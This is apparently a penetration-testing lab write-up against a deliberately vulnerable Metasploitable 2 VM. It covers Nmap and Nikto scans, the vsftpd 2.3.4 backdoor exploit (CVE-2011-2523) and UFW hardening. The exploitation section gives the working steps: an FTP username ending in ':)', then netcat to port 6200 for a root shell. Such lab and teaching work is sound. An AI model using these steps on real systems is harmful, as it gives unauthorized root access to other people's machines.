
Controlled virtual attack & defense lab — CVE-2011-2523 exploitation, Nmap recon, Nikto scanning, UFW hardening on Metasploitable 2
A controlled virtual environment simulating real-world attack and defense scenarios
This lab simulates a real-world penetration test and defensive hardening exercise in a fully isolated virtual environment. It demonstrates the full offensive security lifecycle — from reconnaissance to exploitation — and the defensive controls that would mitigate each risk.
Key outcome: Achieved full root access on the target machine in under 60 seconds by exploiting a known backdoor, with no credentials and no special tools.
| Component | Details |
|---|---|
| Hypervisor | VMware Workstation |
| Network | Host-Only / NAT (fully isolated) |
| Attacker OS | Ubuntu 24 LTS |
| Target OS | Metasploitable 2 (Linux 2.6.x) |
| Attacker IP | 192.168.148.255 |
| Target IP | 192.168.148.130 |
Reconnaissance → Scanning → Exploitation → Defense & Hardening
sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt
Key findings — 23 open ports total:
nikto -h http://192.168.148.130 -o nikto_before.txt
18 vulnerabilities found, including:
phpinfo.php leaking full server config/doc/, /test/vsftpd 2.3.4 contains a backdoor introduced via a supply-chain compromise. Sending a username ending in :) causes the server to open a root shell on port 6200.
# Step 1 — Trigger the backdoor via FTP
ftp 192.168.148.130
# Username: backdoor:) Password: anything
# Step 2 — Connect to the spawned shell
nc 192.168.148.130 6200
# Step 3 — Verify access
whoami
# → root
Result: Full root-level system access achieved in < 60 seconds — no credentials, no exploit framework required.
Impact: An attacker with root access can read/modify/delete any file, install malware, exfiltrate data, or pivot to other hosts on the network.
sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp # SSH only
sudo ufw status verbose
See report.md for the complete assessment — full methodology, command outputs, findings table, exploitation steps, and all remediation recommendations.
This lab was conducted in a fully isolated virtual environment using intentionally vulnerable software (Metasploitable 2). All techniques are for educational and portfolio purposes only. Do not replicate on systems you do not own or have explicit written permission to test.
Author: Amir Mohammad Marwi
| Port | Service | Version | Risk |
|---|
| 21 | FTP | vsftpd 2.3.4 | 🔴 CRITICAL — Known backdoor (CVE-2011-2523) |
| 22 | SSH | OpenSSH 4.7p1 | 🟡 MEDIUM — Outdated |
| 23 | Telnet | Linux telnetd | 🟠 HIGH — Plaintext protocol |
| 80 | HTTP | Apache 2.2.8 | 🟠 HIGH — Multiple CVEs |
| 1524 | Bindshell | Root shell | 🔴 CRITICAL — Open root shell |
| 3306 | MySQL | 5.0.51a | 🟠 HIGH — Database exposed |
| 5900 | VNC | Protocol 3.3 | 🟠 HIGH — Weak auth |
| 6667 | IRC | UnrealIRCd | 🔴 CRITICAL — Known backdoor |
| Vulnerability | Fix |
|---|
| vsftpd 2.3.4 backdoor | Upgrade to vsftpd 3.x or migrate to SFTP |
| Open root shell (port 1524) | Immediately disable, audit installation |
| Telnet (port 23) | Disable — enforce SSH only |
| phpMyAdmin exposed | Restrict by IP, require strong auth |
| MySQL exposed (port 3306) | Bind to localhost, block external access |
| VNC exposed (port 5900) | Restrict by IP or disable |
| Directory indexing | Apache: Options -Indexes |
| HTTP TRACE | Apache: TraceEnable off |
| Outdated Apache + PHP | Upgrade to supported LTS versions |
| Tool | Purpose |
|---|
| Nmap | Port scanning and service detection |
| Nikto | Web vulnerability scanning |
| Netcat | Connecting to backdoor shell |
| UFW | Host-based firewall configuration |
| FTP client | Triggering the vsftpd backdoor |
| VMware Workstation | Lab virtualization |